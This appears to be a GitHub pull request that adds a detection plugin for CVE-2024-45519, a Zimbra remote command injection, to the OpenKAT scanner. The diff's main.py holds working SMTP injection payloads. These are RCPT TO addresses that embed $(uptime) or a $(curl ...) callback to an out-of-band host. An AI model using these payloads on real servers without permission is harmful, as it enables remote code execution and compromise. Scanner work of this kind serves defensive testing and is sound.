Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feat/CVE-2024-45519 #3652

Open
wants to merge 6 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Empty file.
9 changes: 9 additions & 0 deletions boefjes/boefjes/plugins/kat_cve_2024_45519/boefje.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
{
"id": "CVE-2024-45519",
"name": "CVE-2024-45519 - Zimbra remote code execution",
"description": "CVE-2024-45519 is a remote command injection vulnerability in Zimbra’s postjournal service, a component responsible for handling SMTP messages. This vulnerability allows attackers to execute arbitrary commands on vulnerable servers by exploiting the improper handling of user input. Critically, it requires no authentication, meaning that anyone with network access to the service could exploit it. Once exploited, an attacker could gain full control over the Zimbra server, leading to data theft, system compromise, and potential lateral movement within the target network..",
"consumes": [
"IPService"
],
"scan_level": 4
}
48 changes: 48 additions & 0 deletions boefjes/boefjes/plugins/kat_cve_2024_45519/main.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
# Based on https://github.com/p33d/CVE-2024-45519
import socket
from os import getenv

from boefjes.job_models import BoefjeMeta


def smtp_payload_check_vulnerability(host, port, oast=False):
with socket.create_connection((host, port), timeout=10) as conn:
conn.send(b"EHLO localhost\r\n")
conn.recv(1024)

conn.send(b"MAIL FROM: <aaaa@test.openkat.nl>\r\n")
conn.recv(1024)

# do we have a callback server (out of band security testing) or do we just execute `uptime`
if oast:
rcpt_to_payload = f'RCPT TO: <"aabbb$(curl${{IFS}}{oast})"@test.openkat.nl>\r\n'.encode()
else:
rcpt_to_payload = b'RCPT TO: <"aabbb$(uptime)"@test.openkat.nl>\r\n'
conn.send(rcpt_to_payload)
conn.recv(1024)

conn.send(b"DATA\r\n")
conn.recv(1024)

conn.send(b"aaa\r\n.\r\n")
resp = conn.recv(1024)

conn.send(b"QUIT\r\n")
return resp.decode("utf-8")


def run(boefje_meta: BoefjeMeta) -> list[tuple[set, str | bytes]]:
input_ = boefje_meta.arguments["input"] # input is IPService
ip_port = input_["ip_port"]
if input_["service"]["name"] != "smtp":
return [({"info/boefje"}, "Skipping because service is not an smtp service")]
ip = ip_port["address"]["address"]
port = ip_port["port"]
oast = getenv("OAST_URL", False)

response = smtp_payload_check_vulnerability(ip, port, oast)

if "message delivered" in response:
return [(set(), response), ({"openkat/finding"}, "CVE-2024-45519")]
else:
return []
11 changes: 11 additions & 0 deletions boefjes/boefjes/plugins/kat_cve_2024_45519/schema.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
{
"title": "Arguments",
"type": "object",
"properties": {
"OAST_URL": {
"title": "OAST_URL",
"type": "string",
"description": "Optional url for the compromised server to make a callback at."
}
}
}
6 changes: 3 additions & 3 deletions boefjes/tests/integration/test_api.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,9 +17,9 @@ def test_get_local_plugin(test_client, organisation):

def test_filter_plugins(test_client, organisation):
response = test_client.get(f"/v1/organisations/{organisation.id}/plugins/")
assert len(response.json()) == 99
assert len(response.json()) == 100
response = test_client.get(f"/v1/organisations/{organisation.id}/plugins?plugin_type=boefje")
assert len(response.json()) == 44
assert len(response.json()) == 45

response = test_client.get(f"/v1/organisations/{organisation.id}/plugins?limit=10")
assert len(response.json()) == 10
Expand Down Expand Up @@ -62,7 +62,7 @@ def test_add_boefje(test_client, organisation):
assert response.status_code == 422

response = test_client.get(f"/v1/organisations/{organisation.id}/plugins/?plugin_type=boefje")
assert len(response.json()) == 45
assert len(response.json()) == 46

boefje_dict = boefje.model_dump()
boefje_dict["consumes"] = list(boefje_dict["consumes"])
Expand Down